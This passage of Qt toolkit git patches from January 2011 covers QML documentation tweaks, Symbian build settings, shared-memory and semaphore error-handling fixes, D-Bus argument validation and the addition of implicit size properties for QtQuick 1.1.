    @@ -697,14 +697,14 @@ void QDeclarativePathViewPrivate::setAdjustedOffset(qreal o)
         of the \l{PathView::onPath}{PathView.onPath} attached property to ensure that
         the highlight is hidden when flicked away from the path.
     
    -    \code
    +    \qml
         Component {
             Rectangle {
                 visible: PathView.onPath
    -            ...
    +            // ...
             }
         }
    -    \endcode
    +    \endqml
     
         \sa highlightItem, highlightRangeMode
     */
    diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp
    index dd7e5fd..f2c54ab 100644
    --- a/src/declarative/util/qdeclarativeanimation.cpp
    +++ b/src/declarative/util/qdeclarativeanimation.cpp
    @@ -672,7 +672,9 @@ QDeclarativeColorAnimation::~QDeclarativeColorAnimation()
     
         \qml
         Item {
    -        states: [ ... ]
    +        states: [
    +            // States are defined here...
    +        ]
     
             transition: Transition {
                 NumberAnimation { from: "#c0c0c0"; duration: 2000 }
    diff --git a/src/declarative/util/qdeclarativeconnections.cpp b/src/declarative/util/qdeclarativeconnections.cpp
    index 15e5ac5..dbb6f43 100644
    --- a/src/declarative/util/qdeclarativeconnections.cpp
    +++ b/src/declarative/util/qdeclarativeconnections.cpp
    @@ -71,8 +71,8 @@ public:
     
     /*!
         \qmlclass Connections QDeclarativeConnections
    -  \ingroup qml-utility-elements
    -  \since 4.7
    +    \ingroup qml-utility-elements
    +    \since 4.7
         \brief A Connections element describes generalized connections to signals.
     
         A Connections object creates a connection to a QML signal.
    @@ -115,7 +115,7 @@ public:
         MouseArea {
             id: area
         }
    -    ...
    +    // ...
         Connections {
             target: area
             onClicked: foo(...)
    -- 
    cgit v0.12
    
    
    From a1ba5568da6c57e8a0e4440913a6bda322620422 Mon Sep 17 00:00:00 2001
    From: Miikka Heikkinen 
    Date: Fri, 21 Jan 2011 16:29:27 +0200
    Subject: Make QMAKE_EXTENSION_SHLIB and friends work in all Symbian mkspecs.
    
    Reviewed-by: axis
    ---
     mkspecs/common/symbian/symbian-makefile.conf | 3 ---
     mkspecs/common/symbian/symbian.conf          | 3 +++
     2 files changed, 3 insertions(+), 3 deletions(-)
    
    diff --git a/mkspecs/common/symbian/symbian-makefile.conf b/mkspecs/common/symbian/symbian-makefile.conf
    index 364e91b..0360615 100644
    --- a/mkspecs/common/symbian/symbian-makefile.conf
    +++ b/mkspecs/common/symbian/symbian-makefile.conf
    @@ -22,11 +22,8 @@ QMAKE_ELF2E32_FLAGS	= --dlldata \
     include(../../common/unix.conf)
     
     QMAKE_PREFIX_SHLIB    =
    -QMAKE_EXTENSION_SHLIB = dll
     CONFIG *= no_plugin_name_prefix
    -QMAKE_EXTENSION_PLUGIN = dll
     QMAKE_PREFIX_STATICLIB =
    -QMAKE_EXTENSION_STATICLIB = lib
     QMAKE_SYMBIAN_SHLIB   = 1
     
     is_using_gnupoc {
    diff --git a/mkspecs/common/symbian/symbian.conf b/mkspecs/common/symbian/symbian.conf
    index ab94cfb..5619d4f 100644
    --- a/mkspecs/common/symbian/symbian.conf
    +++ b/mkspecs/common/symbian/symbian.conf
    @@ -13,6 +13,9 @@ QMAKE_COMPILER_DEFINES  += SYMBIAN
     
     QMAKE_EXT_OBJ           = .o
     QMAKE_EXT_RES           = _res.o
    +QMAKE_EXTENSION_SHLIB   = dll
    +QMAKE_EXTENSION_PLUGIN  = dll
    +QMAKE_EXTENSION_STATICLIB = lib
     
     QMAKE_LEX		= flex
     QMAKE_LEXFLAGS		=
    -- 
    cgit v0.12
    
    
    From f129fd72752aa0ac088837b9f70b22621e9d3b83 Mon Sep 17 00:00:00 2001
    From: Ritt Konstantin 
    Date: Fri, 21 Jan 2011 15:28:44 +0000
    Subject: fix error reporting
    
    that was mistakenly broken by 570e7b38487455d394b5b74a59edc639f3dc416f
    
    Merge-request: 1018
    Reviewed-by: Shane Kearns 
    ---
     src/corelib/kernel/qsystemsemaphore_symbian.cpp | 1 +
     1 file changed, 1 insertion(+)
    
    diff --git a/src/corelib/kernel/qsystemsemaphore_symbian.cpp b/src/corelib/kernel/qsystemsemaphore_symbian.cpp
    index 07cfffc..a46389d 100644
    --- a/src/corelib/kernel/qsystemsemaphore_symbian.cpp
    +++ b/src/corelib/kernel/qsystemsemaphore_symbian.cpp
    @@ -73,6 +73,7 @@ void QSystemSemaphorePrivate::setErrorString(const QString &function, int err)
         case KErrInUse:
             errorString = QCoreApplication::tr("%1: out of resources", "QSystemSemaphore").arg(function);
             error = QSystemSemaphore::OutOfResources;
    +        break;
         case KErrPermissionDenied:
             errorString = QCoreApplication::tr("%1: permission denied", "QSystemSemaphore").arg(function);
             error = QSystemSemaphore::PermissionDenied;
    -- 
    cgit v0.12
    
    
    From 3539af42ca847e628c325a2069b72284b597d617 Mon Sep 17 00:00:00 2001
    From: Ritt Konstantin 
    Date: Fri, 21 Jan 2011 15:28:49 +0000
    Subject: fix error reporting on detach()
    
    before, we returned too early :)
    
    Merge-request: 1018
    Reviewed-by: Shane Kearns 
    ---
     src/corelib/kernel/qsharedmemory_win.cpp | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/src/corelib/kernel/qsharedmemory_win.cpp b/src/corelib/kernel/qsharedmemory_win.cpp
    index 85600a2..5293f45 100644
    --- a/src/corelib/kernel/qsharedmemory_win.cpp
    +++ b/src/corelib/kernel/qsharedmemory_win.cpp
    @@ -124,8 +124,8 @@ bool QSharedMemoryPrivate::cleanHandle()
     {
         if (hand != 0 && !CloseHandle(hand)) {
             hand = 0;
    -        return false;
             setErrorString(QLatin1String("QSharedMemory::cleanHandle"));
    +        return false;
         }
         hand = 0;
         return true;
    -- 
    cgit v0.12
    
    
    From 75771ddf96273899a990d33395fb4fac14666022 Mon Sep 17 00:00:00 2001
    From: Ritt Konstantin 
    Date: Fri, 21 Jan 2011 15:28:53 +0000
    Subject: avoid extra calculations
    
    QSystemSemaphore::setKey() sets the fileName member to makeKeyFileName()'s result;
    no need to call it again
    
    Merge-request: 1018
    Reviewed-by: Shane Kearns 
    ---
     src/corelib/kernel/qsystemsemaphore_symbian.cpp | 3 +--
     src/corelib/kernel/qsystemsemaphore_win.cpp     | 3 +--
     2 files changed, 2 insertions(+), 4 deletions(-)
    
    diff --git a/src/corelib/kernel/qsystemsemaphore_symbian.cpp b/src/corelib/kernel/qsystemsemaphore_symbian.cpp
    index a46389d..0d257b8 100644
    --- a/src/corelib/kernel/qsystemsemaphore_symbian.cpp
    +++ b/src/corelib/kernel/qsystemsemaphore_symbian.cpp
    @@ -98,8 +98,7 @@ int QSystemSemaphorePrivate::handle(QSystemSemaphore::AccessMode)
         if (key.isEmpty())
             return 0;
     
    -    QString safeName = makeKeyFileName();
    -    TPtrC name(qt_QString2TPtrC(safeName));
    +    TPtrC name(qt_QString2TPtrC(fileName));
         int err = KErrAlreadyExists;
         int tryCount = 10;
         // Sort out race conditions by retrying several times until existing handle is acquired.
    diff --git a/src/corelib/kernel/qsystemsemaphore_win.cpp b/src/corelib/kernel/qsystemsemaphore_win.cpp
    index 7f002f8..fad50f2 100644
    --- a/src/corelib/kernel/qsystemsemaphore_win.cpp
    +++ b/src/corelib/kernel/qsystemsemaphore_win.cpp
    @@ -86,8 +86,7 @@ HANDLE QSystemSemaphorePrivate::handle(QSystemSemaphore::AccessMode)
     
         // Create it if it doesn't already exists.
         if (semaphore == 0) {
    -        QString safeName = makeKeyFileName();
    -        semaphore = CreateSemaphore(0, initialValue, MAXLONG, (wchar_t*)safeName.utf16());
    +        semaphore = CreateSemaphore(0, initialValue, MAXLONG, (wchar_t*)fileName.utf16());
             if (semaphore == NULL)
                 setErrorString(QLatin1String("QSystemSemaphore::handle"));
         }
    -- 
    cgit v0.12
    
    
    From c17e49e8a481f96a4b953d8fcf41678fc1b2f9bc Mon Sep 17 00:00:00 2001
    From: Ritt Konstantin 
    Date: Fri, 21 Jan 2011 15:28:57 +0000
    Subject: simplify QSharedMemory::detach()
    
    de-init members in the QSharedMemoryPrivate::detach() like in code for symbian.
    this gains a lightly better control in case of errors on detach()
    
    Merge-request: 1018
    Reviewed-by: Shane Kearns 
    ---
     src/corelib/kernel/qsharedmemory.cpp      | 6 +-----
     src/corelib/kernel/qsharedmemory_unix.cpp | 1 +
     src/corelib/kernel/qsharedmemory_win.cpp  | 1 +
     3 files changed, 3 insertions(+), 5 deletions(-)
    
    diff --git a/src/corelib/kernel/qsharedmemory.cpp b/src/corelib/kernel/qsharedmemory.cpp
    index 2fd6c50..85b37d0 100644
    --- a/src/corelib/kernel/qsharedmemory.cpp
    +++ b/src/corelib/kernel/qsharedmemory.cpp
    @@ -399,11 +399,7 @@ bool QSharedMemory::detach()
             return false;
     #endif
     
    -    if (d->detach()) {
    -        d->size = 0;
    -        return true;
    -    }
    -    return false;
    +    return d->detach();
     }
     
     /*!
    diff --git a/src/corelib/kernel/qsharedmemory_unix.cpp b/src/corelib/kernel/qsharedmemory_unix.cpp
    index bea5b63..3cd17f1 100644
    --- a/src/corelib/kernel/qsharedmemory_unix.cpp
    +++ b/src/corelib/kernel/qsharedmemory_unix.cpp
    @@ -265,6 +265,7 @@ bool QSharedMemoryPrivate::detach()
             return false;
         }
         memory = 0;
    +    size = 0;
     
         // Get the number of current attachments
         if (!handle())
    diff --git a/src/corelib/kernel/qsharedmemory_win.cpp b/src/corelib/kernel/qsharedmemory_win.cpp
    index 5293f45..ac9c86a 100644
    --- a/src/corelib/kernel/qsharedmemory_win.cpp
    +++ b/src/corelib/kernel/qsharedmemory_win.cpp
    @@ -186,6 +186,7 @@ bool QSharedMemoryPrivate::detach()
             return false;
         }
         memory = 0;
    +    size = 0;
     
         // close handle
         return cleanHandle();
    -- 
    cgit v0.12
    
    
    From acd04e69bd404657638d3a95eea3a5946008cf03 Mon Sep 17 00:00:00 2001
    From: Ritt Konstantin 
    Date: Fri, 21 Jan 2011 15:29:01 +0000
    Subject: get rid of extra calls to handle()
    
    in create(), handle() is called a few lines early;
    in attach(), QSharedMemory::attach() calls handle() as a preparation step;
    in detach(), well, if we're here, unix_key is valid anyways...
    
    Merge-request: 1018
    Reviewed-by: Shane Kearns 
    ---
     src/corelib/kernel/qsharedmemory_unix.cpp | 13 ++++---------
     1 file changed, 4 insertions(+), 9 deletions(-)
    
    diff --git a/src/corelib/kernel/qsharedmemory_unix.cpp b/src/corelib/kernel/qsharedmemory_unix.cpp
    index 3cd17f1..ddb0e34 100644
    --- a/src/corelib/kernel/qsharedmemory_unix.cpp
    +++ b/src/corelib/kernel/qsharedmemory_unix.cpp
    @@ -199,7 +199,7 @@ bool QSharedMemoryPrivate::create(int size)
         }
     
         // create
    -    if (-1 == shmget(handle(), size, 0666 | IPC_CREAT | IPC_EXCL)) {
    +    if (-1 == shmget(unix_key, size, 0666 | IPC_CREAT | IPC_EXCL)) {
             QString function = QLatin1String("QSharedMemory::create");
             switch (errno) {
             case EINVAL:
    @@ -220,10 +220,7 @@ bool QSharedMemoryPrivate::create(int size)
     bool QSharedMemoryPrivate::attach(QSharedMemory::AccessMode mode)
     {
         // grab the shared memory segment id
    -    if (!handle())
    -        return false;
    -
    -    int id = shmget(handle(), 0, (mode == QSharedMemory::ReadOnly ? 0444 : 0660));
    +    int id = shmget(unix_key, 0, (mode == QSharedMemory::ReadOnly ? 0444 : 0660));
         if (-1 == id) {
             setErrorString(QLatin1String("QSharedMemory::attach (shmget)"));
             return false;
    @@ -268,10 +265,8 @@ bool QSharedMemoryPrivate::detach()
         size = 0;
     
         // Get the number of current attachments
    -    if (!handle())
    -        return false;
    -    int id = shmget(handle(), 0, 0444);
    -    unix_key = 0;
    +    int id = shmget(unix_key, 0, 0444);
    +    cleanHandle();
     
         struct shmid_ds shmid_ds;
         if (0 != shmctl(id, IPC_STAT, &shmid_ds)) {
    -- 
    cgit v0.12
    
    
    From 00141ca67b6c20ecc8624bb9d1c70d97d34f544a Mon Sep 17 00:00:00 2001
    From: Ritt Konstantin 
    Date: Fri, 21 Jan 2011 15:29:05 +0000
    Subject: ignore the warning from auto-detach in destructor
    
    we locked shm few line ago and didn't unlock it, so we expecting for this warning
    
    Merge-request: 1018
    Reviewed-by: Shane Kearns 
    ---
     tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp | 3 ++-
     1 file changed, 2 insertions(+), 1 deletion(-)
    
    diff --git a/tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp b/tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp
    index 50205bc..0719576 100644
    --- a/tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp
    +++ b/tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp
    @@ -358,7 +358,8 @@ void tst_QSharedMemory::lock()
         QVERIFY(shm.lock());
         QTest::ignoreMessage(QtWarningMsg, "QSharedMemory::lock: already locked");
         QVERIFY(shm.lock());
    -    // don't lock forever
    +    // we didn't unlock(), so ignore the warning from auto-detach in destructor
    +    QTest::ignoreMessage(QtWarningMsg, "QSharedMemory::lock: already locked");
     }
     
     /*!
    -- 
    cgit v0.12
    
    
    From 586bbfdd296a55edb42c14bacd7901d7c074fd9a Mon Sep 17 00:00:00 2001
    From: Ritt Konstantin 
    Date: Fri, 21 Jan 2011 15:29:10 +0000
    Subject: make the test a bit stricter
    
    don't say we passed the test if we didn't
    
    Merge-request: 1018
    Reviewed-by: Shane Kearns 
    ---
     tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp | 2 ++
     1 file changed, 2 insertions(+)
    
    diff --git a/tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp b/tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp
    index 0719576..f11519b 100644
    --- a/tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp
    +++ b/tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp
    @@ -332,6 +332,8 @@ void tst_QSharedMemory::attach()
             QVERIFY(sm.detach());
             // Make sure detach doesn't screw up something and we can't re-attach.
             QVERIFY(sm.attach());
    +        QVERIFY(sm.data() != 0);
    +        QVERIFY(sm.size() != 0);
             QVERIFY(sm.detach());
             QCOMPARE(sm.size(), 0);
             QVERIFY(sm.data() == 0);
    -- 
    cgit v0.12
    
    
    From 7905e38d84a060176e53ffe8d7da8710ea0180fe Mon Sep 17 00:00:00 2001
    From: Thiago Macieira 
    Date: Fri, 14 Jan 2011 13:29:02 +0100
    Subject: Validate arguments to QDBusConnection::connect
    
    This fixes a crash caused by user code trying to connect to object
    paths that aren't valid (if we send this to the bus daemon, we get an
    error with the AddMatch call).
    
    Reviewed-by: Trust Me
    ---
     src/dbus/qdbusconnection.cpp | 20 ++++++++++++++++++--
     1 file changed, 18 insertions(+), 2 deletions(-)
    
    diff --git a/src/dbus/qdbusconnection.cpp b/src/dbus/qdbusconnection.cpp
    index eb312d2..3fb63eb 100644
    --- a/src/dbus/qdbusconnection.cpp
    +++ b/src/dbus/qdbusconnection.cpp
    @@ -632,10 +632,26 @@ bool QDBusConnection::connect(const QString &service, const QString &path, const
     
         if (!receiver || !slot || !d || !d->connection)
             return false;
    -    if (!interface.isEmpty() && !QDBusUtil::isValidInterfaceName(interface))
    -        return false;
         if (interface.isEmpty() && name.isEmpty())
             return false;
    +    if (!interface.isEmpty() && !QDBusUtil::isValidInterfaceName(interface)) {
    +#ifndef QT_NO_DEBUG
    +        qWarning("QDBusConnection::connect: interface name '%s' is not valid", interface.toLatin1().constData());
    +#endif
    +        return false;
    +    }
    +    if (!service.isEmpty() && !QDBusUtil::isValidBusName(service)) {
    +#ifndef QT_NO_DEBUG
    +        qWarning("QDBusConnection::connect: service name '%s' is not valid", service.toLatin1().constData());
    +#endif
    +        return false;
    +    }
    +    if (!path.isEmpty() && !QDBusUtil::isValidObjectPath(path)) {
    +#ifndef QT_NO_DEBUG
    +        qWarning("QDBusConnection::connect: object path '%s' is not valid", path.toLatin1().constData());
    +#endif
    +        return false;
    +    }
     
         QDBusWriteLocker locker(ConnectAction, d);
         return d->connectSignal(service, path, interface, name, argumentMatch, signature, receiver, slot);
    -- 
    cgit v0.12
    
    
    From 44060d2129b461754f6bd86153889a869f12440a Mon Sep 17 00:00:00 2001
    From: Martin Jones 
    Date: Mon, 24 Jan 2011 14:09:59 +1000
    Subject: Add list of new properties/methods in QtQuick 1.1
    
    ---
     doc/src/declarative/whatsnew.qdoc                  | 98 +++++++++++++++++++++-
     .../qdeclarativeitem/data/implicitsize.qml         | 19 +++++
     2 files changed, 116 insertions(+), 1 deletion(-)
     create mode 100644 tests/auto/declarative/qdeclarativeitem/data/implicitsize.qml
    
    diff --git a/doc/src/declarative/whatsnew.qdoc b/doc/src/declarative/whatsnew.qdoc
    index a3ba522..4b94d51 100644
    --- a/doc/src/declarative/whatsnew.qdoc
    +++ b/doc/src/declarative/whatsnew.qdoc
    @@ -29,7 +29,103 @@
     \title What's new in Qt Quick
     \page qtquick-whatsnew.html
     
    -\section1 4.7.1
    +\section1 Qt 4.7.3 includes QtQuick 1.1
    +
    +QtQuick 1.1 is a minor feature update.
    +
    +\section2 PinchArea
    +
    +PinchArea provides support for the common two finger pinch gesture.
    +
    +\section2 Text
    +
    +Added the following properties:
    +\list
    +\o lineSpacing
    +\o lineCount
    +\o maximumLineCount
    +\o truncated
    +\endlist
    +
    +horizontalAlignment now accepts Text.AlignJustify alignment mode.
    +
    +\section2 TextEdit
    +
    +Added the following properties, methods and signal handlers:
    +\list
    +\o canPaste
    +\o lineCount
    +\o deselect()
    +\o moveCursorSelection(int pos, SelectionMode mode) to enable selection by word
    +\o onLinkActivated(string link) 
    +\endlist
    +
    +\section2 TextInput
    +
    +Added the following properties and methods:
    +\list
    +\o canPaste
    +\o deselect()
    +\o moveCursorSelection(int pos, SelectionMode mode) to enable selection by word
    +\endlist
    +
    +\section2 Image and BorderImage
    +
    +Added the following properties:
    +\list
    +\o cache
    +\o mirror
    +\endlist
    +
    +\section2 Item
    +
    +Added the following properties:
    +\list
    +\o implicitWidth and implicitHeight
    +\endlist
    +
    +\section2 Flickable
    +
    +Added the following methods:
    +\list
    +\o resizeContent(qreal w, qreal h, QPointF center)
    +\o returnToBounds() 
    +\endlist
    +
    +\section2 ListView and GridView
    +
    +Added the following methods:
    +\list
    +\o positionViewAtBeginning()
    +\o positionViewAtEnd() 
    +\endlist
    +
    +\section2 Flow, Grid, Row
    +
    +Added the following properties:
    +\list
    +\o layoutDirection
    +\endlist
    +
    +\section2 Repeater
    +
    +Added the following methods:
    +\list
    +\o onItemAdded()
    +\o onItemRemoved()
    +\o itemAt()
    +\endlist
    +
    +\section2 Qt
    +
    +Added the following properties:
    +\list
    +\o application.layoutDirection
    +\o application.active
    +\endlist
    +
    +
    +\section1 Qt 4.7.1
     
     \section2 QtQuick namespace
     
    diff --git a/tests/auto/declarative/qdeclarativeitem/data/implicitsize.qml b/tests/auto/declarative/qdeclarativeitem/data/implicitsize.qml
    new file mode 100644
    index 0000000..869c0fc
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativeitem/data/implicitsize.qml
    @@ -0,0 +1,19 @@
    +import QtQuick 1.1
    +
    +Item {
    +    implicitWidth: 200
    +    implicitHeight: 100
    +
    +    width: 80
    +    height: 60
    +
    +    function resetSize() {
    +        width = undefined
    +        height = undefined
    +    }
    +
    +    function changeImplicit() {
    +        implicitWidth = 150
    +        implicitHeight = 80
    +    }
    +}
    -- 
    cgit v0.12
    
    
    From 6f78a6080b84cc3ef96b73a4ff58d1b5a72f08f4 Mon Sep 17 00:00:00 2001
    From: Martin Jones 
    Date: Mon, 24 Jan 2011 16:08:46 +1000
    Subject: Expose implicitWidth and implicitHeight properties of Item.
    
    Overridden as readonly for elements that have an inherent implicit size
    such as Text, TextEdit, TextInput, positioners, Loader.
    
    Task-number: QTBUG-14957
    Reviewed-by: Michael Brasser
    ---
     src/declarative/graphicsitems/graphicsitems.pri    |   8 +-
     .../graphicsitems/qdeclarativeimagebase.cpp        |   2 +-
     .../graphicsitems/qdeclarativeimagebase_p.h        |   4 +-
     .../graphicsitems/qdeclarativeimagebase_p_p.h      |   4 +-
     .../graphicsitems/qdeclarativeimplicitsizeitem.cpp |  92 +++++++++++++++++++
     .../graphicsitems/qdeclarativeimplicitsizeitem_p.h | 100 +++++++++++++++++++++
     .../qdeclarativeimplicitsizeitem_p_p.h             |  90 +++++++++++++++++++
     src/declarative/graphicsitems/qdeclarativeitem.cpp |  85 ++++++++++++++++--
     src/declarative/graphicsitems/qdeclarativeitem.h   |   5 ++
     src/declarative/graphicsitems/qdeclarativeitem_p.h |  11 ++-
     .../graphicsitems/qdeclarativeitemsmodule.cpp      |   5 ++
     .../graphicsitems/qdeclarativeloader.cpp           |   2 +-
     .../graphicsitems/qdeclarativeloader_p.h           |   4 +-
     .../graphicsitems/qdeclarativeloader_p_p.h         |   4 +-
     .../graphicsitems/qdeclarativepositioners.cpp      |   4 +-
     .../graphicsitems/qdeclarativepositioners_p.h      |   4 +-
     .../graphicsitems/qdeclarativepositioners_p_p.h    |   4 +-
     src/declarative/graphicsitems/qdeclarativetext.cpp |  62 +++++++++++--
     src/declarative/graphicsitems/qdeclarativetext_p.h |   4 +-
     .../graphicsitems/qdeclarativetext_p_p.h           |   9 +-
     .../graphicsitems/qdeclarativetextedit.cpp         |  43 +++++++--
     .../graphicsitems/qdeclarativetextedit_p.h         |   4 +-
     .../graphicsitems/qdeclarativetextedit_p_p.h       |  11 ++-
     .../graphicsitems/qdeclarativetextinput.cpp        |   2 +-
     .../graphicsitems/qdeclarativetextinput_p.h        |   4 +-
     .../graphicsitems/qdeclarativetextinput_p_p.h      |   4 +-
     .../qdeclarativeitem/tst_qdeclarativeitem.cpp      |  80 +++++++++++++++++
     .../qdeclarativetext/tst_qdeclarativetext.cpp      |  29 ++++++
     .../tst_qdeclarativetextedit.cpp                   |  29 ++++++
     29 files changed, 652 insertions(+), 57 deletions(-)
     create mode 100644 src/declarative/graphicsitems/qdeclarativeimplicitsizeitem.cpp
     create mode 100644 src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p.h
     create mode 100644 src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p_p.h
    
    diff --git a/src/declarative/graphicsitems/graphicsitems.pri b/src/declarative/graphicsitems/graphicsitems.pri
    index 2cd3323..9904274 100644
    --- a/src/declarative/graphicsitems/graphicsitems.pri
    +++ b/src/declarative/graphicsitems/graphicsitems.pri
    @@ -52,7 +52,10 @@ HEADERS += \
         $$PWD/qdeclarativegraphicswidget_p.h \
         $$PWD/qdeclarativetextlayout_p.h \
         $$PWD/qdeclarativepincharea_p.h \
    -    $$PWD/qdeclarativepincharea_p_p.h
    +    $$PWD/qdeclarativepincharea_p_p.h \
    +    $$PWD/qdeclarativeimplicitsizeitem_p.h \
    +    $$PWD/qdeclarativeimplicitsizeitem_p_p.h
    +
     
     SOURCES += \
         $$PWD/qdeclarativeitemsmodule.cpp \
    @@ -86,5 +89,6 @@ SOURCES += \
         $$PWD/qdeclarativelayoutitem.cpp \
         $$PWD/qdeclarativegraphicswidget.cpp \
         $$PWD/qdeclarativetextlayout.cpp \
    -    $$PWD/qdeclarativepincharea.cpp
    +    $$PWD/qdeclarativepincharea.cpp \
    +    $$PWD/qdeclarativeimplicitsizeitem.cpp
     
    diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp
    index 7ce357b..8448bd6 100644
    --- a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp
    @@ -49,7 +49,7 @@
     QT_BEGIN_NAMESPACE
     
     QDeclarativeImageBase::QDeclarativeImageBase(QDeclarativeImageBasePrivate &dd, QDeclarativeItem *parent)
    -  : QDeclarativeItem(dd, parent)
    +  : QDeclarativeImplicitSizeItem(dd, parent)
     {
     }
     
    diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h
    index 4d2aa04..d183bdc 100644
    --- a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h
    @@ -42,14 +42,14 @@
     #ifndef QDECLARATIVEIMAGEBASE_H
     #define QDECLARATIVEIMAGEBASE_H
     
    -#include "qdeclarativeitem.h"
    +#include "qdeclarativeimplicitsizeitem_p.h"
     
     QT_BEGIN_HEADER
     
     QT_BEGIN_NAMESPACE
     
     class QDeclarativeImageBasePrivate;
    -class Q_AUTOTEST_EXPORT QDeclarativeImageBase : public QDeclarativeItem
    +class Q_AUTOTEST_EXPORT QDeclarativeImageBase : public QDeclarativeImplicitSizeItem
     {
         Q_OBJECT
         Q_ENUMS(Status)
    diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h b/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h
    index 39cf44e..ab16e66 100644
    --- a/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h
    @@ -53,7 +53,7 @@
     // We mean it.
     //
     
    -#include "private/qdeclarativeitem_p.h"
    +#include "private/qdeclarativeimplicitsizeitem_p_p.h"
     #include "private/qdeclarativepixmapcache_p.h"
     
     #include 
    @@ -61,7 +61,7 @@
     QT_BEGIN_NAMESPACE
     
     class QNetworkReply;
    -class QDeclarativeImageBasePrivate : public QDeclarativeItemPrivate
    +class QDeclarativeImageBasePrivate : public QDeclarativeImplicitSizeItemPrivate
     {
         Q_DECLARE_PUBLIC(QDeclarativeImageBase)
     
    diff --git a/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem.cpp b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem.cpp
    new file mode 100644
    index 0000000..31ac28f
    --- /dev/null
    +++ b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem.cpp
    @@ -0,0 +1,92 @@
    +/****************************************************************************
    +**
    +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
    +** All rights reserved.
    +** Contact: Nokia Corporation (qt-info@nokia.com)
    +**
    +** This file is part of the QtDeclarative module of the Qt Toolkit.
    +**
    +** $QT_BEGIN_LICENSE:LGPL$
    +** No Commercial Usage
    +** This file contains pre-release code and may not be distributed.
    +** You may use this file in accordance with the terms and conditions
    +** contained in the Technology Preview License Agreement accompanying
    +** this package.
    +**
    +** GNU Lesser General Public License Usage
    +** Alternatively, this file may be used under the terms of the GNU Lesser
    +** General Public License version 2.1 as published by the Free Software
    +** Foundation and appearing in the file LICENSE.LGPL included in the
    +** packaging of this file.  Please review the following information to
    +** ensure the GNU Lesser General Public License version 2.1 requirements
    +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
    +**
    +** In addition, as a special exception, Nokia gives you certain additional
    +** rights.  These rights are described in the Nokia Qt LGPL Exception
    +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
    +**
    +** If you have questions regarding the use of this file, please contact
    +** Nokia at qt-info@nokia.com.
    +**
    +**
    +**
    +**
    +**
    +**
    +**
    +**
    +** $QT_END_LICENSE$
    +**
    +****************************************************************************/
    +
    +#include "private/qdeclarativeimplicitsizeitem_p.h"
    +#include "private/qdeclarativeimplicitsizeitem_p_p.h"
    +
    +QT_BEGIN_NAMESPACE
    +
    +void QDeclarativeImplicitSizeItemPrivate::implicitWidthChanged()
    +{
    +    Q_Q(QDeclarativeImplicitSizeItem);
    +    emit q->implicitWidthChanged();
    +}
    +
    +void QDeclarativeImplicitSizeItemPrivate::implicitHeightChanged()
    +{
    +    Q_Q(QDeclarativeImplicitSizeItem);
    +    emit q->implicitHeightChanged();
    +}
    +
    +QDeclarativeImplicitSizeItem::QDeclarativeImplicitSizeItem(QDeclarativeItem *parent)
    +    : QDeclarativeItem(*(new QDeclarativeImplicitSizeItemPrivate), parent)
    +{
    +}
    +
    +QDeclarativeImplicitSizeItem::QDeclarativeImplicitSizeItem(QDeclarativeImplicitSizeItemPrivate &dd, QDeclarativeItem *parent)
    +    : QDeclarativeItem(dd, parent)
    +{
    +}
    +
    +
    +void QDeclarativeImplicitSizePaintedItemPrivate::implicitWidthChanged()
    +{
    +    Q_Q(QDeclarativeImplicitSizePaintedItem);
    +    emit q->implicitWidthChanged();
    +}
    +
    +void QDeclarativeImplicitSizePaintedItemPrivate::implicitHeightChanged()
    +{
    +    Q_Q(QDeclarativeImplicitSizePaintedItem);
    +    emit q->implicitHeightChanged();
    +}
    +
    +QDeclarativeImplicitSizePaintedItem::QDeclarativeImplicitSizePaintedItem(QDeclarativeItem *parent)
    +    : QDeclarativePaintedItem(*(new QDeclarativeImplicitSizePaintedItemPrivate), parent)
    +{
    +}
    +
    +QDeclarativeImplicitSizePaintedItem::QDeclarativeImplicitSizePaintedItem(QDeclarativeImplicitSizePaintedItemPrivate &dd, QDeclarativeItem *parent)
    +    : QDeclarativePaintedItem(dd, parent)
    +{
    +}
    +
    +QT_END_NAMESPACE
    diff --git a/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p.h b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p.h
    new file mode 100644
    index 0000000..1863d95
    --- /dev/null
    +++ b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p.h
    @@ -0,0 +1,100 @@
    +/****************************************************************************
    +**
    +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
    +** All rights reserved.
    +** Contact: Nokia Corporation (qt-info@nokia.com)
    +**
    +** This file is part of the QtDeclarative module of the Qt Toolkit.
    +**
    +** $QT_BEGIN_LICENSE:LGPL$
    +** No Commercial Usage
    +** This file contains pre-release code and may not be distributed.
    +** You may use this file in accordance with the terms and conditions
